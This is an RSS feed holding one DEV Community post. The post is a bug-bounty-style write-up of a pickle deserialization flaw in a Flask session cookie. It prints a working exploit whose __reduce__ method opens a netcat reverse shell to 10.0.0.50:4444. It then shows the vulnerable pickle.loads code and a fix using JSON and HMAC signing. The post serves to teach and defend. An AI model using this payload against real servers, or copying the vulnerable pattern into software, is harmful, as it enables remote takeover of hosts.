<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: adampieterson2-glitch</title>
    <description>The latest articles on DEV Community by adampieterson2-glitch (@adampieterson2glitch).</description>
    <link>https://dev.to/adampieterson2glitch</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4039450%2F38d3ac0b-de10-43cc-a9a3-e517948ce5dd.png</url>
      <title>DEV Community: adampieterson2-glitch</title>
      <link>https://dev.to/adampieterson2glitch</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/adampieterson2glitch"/>
    <language>en</language>
    <item>
      <title>Slaying a Silent RCE via Insecure Deserialization</title>
      <dc:creator>adampieterson2-glitch</dc:creator>
      <pubDate>Tue, 21 Jul 2026 07:47:11 +0000</pubDate>
      <link>https://dev.to/adampieterson2glitch/slaying-a-silent-rce-via-insecure-deserialization-4cp7</link>
      <guid>https://dev.to/adampieterson2glitch/slaying-a-silent-rce-via-insecure-deserialization-4cp7</guid>
      <description>&lt;p&gt;Smash Stories: Slaying a Silent RCE via Insecure Deserialization&lt;br&gt;
The Bug I Smashed&lt;br&gt;
During an authorized security assessment of a custom Python/Flask microservice, I discovered a chaotic, high-severity vulnerability masquerading as a harmless caching mechanism. The application was storing user session preferences in a base64-encoded cookie.&lt;/p&gt;

&lt;p&gt;The problem? The backend was deserializing this cookie using Python's inherently insecure pickle library without any integrity checks. This allowed arbitrary object instantiation, creating a direct path to full Remote Code Execution (RCE) on the host server.&lt;/p&gt;

&lt;p&gt;The Investigation and Exploit&lt;br&gt;
When reviewing the HTTP traffic, I noticed the session_prefs cookie. Decoding it revealed binary data characteristic of Python pickles. To demonstrate the critical impact, I crafted a payload to trigger a reverse shell upon deserialization.&lt;/p&gt;

&lt;p&gt;Here is the exact exploit code used to generate the malicious serialized object:&lt;/p&gt;

&lt;p&gt;Python&lt;br&gt;
import pickle&lt;br&gt;
import base64&lt;br&gt;
import os&lt;/p&gt;

&lt;p&gt;class RCE(object):&lt;br&gt;
    def &lt;strong&gt;reduce&lt;/strong&gt;(self):&lt;br&gt;
        # Standard reverse shell payload&lt;br&gt;
        cmd = ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.50 4444 &amp;gt;/tmp/f")&lt;br&gt;
        return (os.system, (cmd,))&lt;/p&gt;

&lt;h1&gt;
  
  
  Generate the malicious payload
&lt;/h1&gt;

&lt;p&gt;malicious_pickle = pickle.dumps(RCE())&lt;br&gt;
encoded_payload = base64.b64encode(malicious_pickle).decode()&lt;/p&gt;

&lt;p&gt;print(f"Payload to inject into cookie:\n{encoded_payload}")&lt;br&gt;
Injecting this base64 string back into the session_prefs cookie and sending the request to the server immediately triggered the reverse shell on my listener. The server blindly executed the instructions during the deserialization phase.&lt;/p&gt;

&lt;p&gt;How I Fixed It&lt;br&gt;
To fundamentally fix the vulnerability, the serialization mechanism had to be completely replaced. The pickle module should never be used to unpickle data from untrusted sources.&lt;/p&gt;

&lt;p&gt;I rewrote the session handling logic to use safe json serialization and implemented HMAC signing to ensure the integrity of the cookie data, preventing any client-side tampering.&lt;/p&gt;

&lt;p&gt;Before (Vulnerable Code):&lt;br&gt;
Python&lt;br&gt;
import pickle&lt;br&gt;
import base64&lt;br&gt;
from flask import request&lt;/p&gt;

&lt;p&gt;@app.route('/dashboard')&lt;br&gt;
def dashboard():&lt;br&gt;
    prefs_cookie = request.cookies.get('session_prefs')&lt;br&gt;
    if prefs_cookie:&lt;br&gt;
        # DANGER: Insecure deserialization&lt;br&gt;
        prefs = pickle.loads(base64.b64decode(prefs_cookie))&lt;br&gt;
    else:&lt;br&gt;
        prefs = default_prefs&lt;br&gt;
    return render_template('dashboard.html', prefs=prefs)&lt;br&gt;
After (Secured Code):&lt;br&gt;
Python&lt;br&gt;
import json&lt;br&gt;
import base64&lt;br&gt;
import hmac&lt;br&gt;
import hashlib&lt;br&gt;
from flask import request&lt;/p&gt;

&lt;p&gt;SECRET_KEY = b'super_secret_key_loaded_from_env'&lt;/p&gt;

&lt;p&gt;def verify_and_decode(cookie_value):&lt;br&gt;
    try:&lt;br&gt;
        # Expecting format: base64(json_data).signature&lt;br&gt;
        encoded_data, signature = cookie_value.split('.')&lt;br&gt;
        expected_sig = hmac.new(SECRET_KEY, encoded_data.encode(), hashlib.sha256).hexdigest()&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    # Verify the signature before deserializing
    if hmac.compare_digest(expected_sig, signature):
        return json.loads(base64.b64decode(encoded_data).decode())
    return None
except Exception:
    return None
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;@app.route('/dashboard')&lt;br&gt;
def dashboard():&lt;br&gt;
    prefs_cookie = request.cookies.get('session_prefs')&lt;br&gt;
    prefs = verify_and_decode(prefs_cookie) if prefs_cookie else default_prefs&lt;br&gt;
    return render_template('dashboard.html', prefs=prefs)&lt;br&gt;
By shifting away from native binary serialization to a standard JSON format fortified with HMAC signatures, the RCE vector was completely eliminated. The application is now significantly more resilient against tampering, proving that sometimes the loudest bugs are hidden in the quietest, most mundane features like session cookies.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>bugsmash</category>
    </item>
  </channel>
</rss>
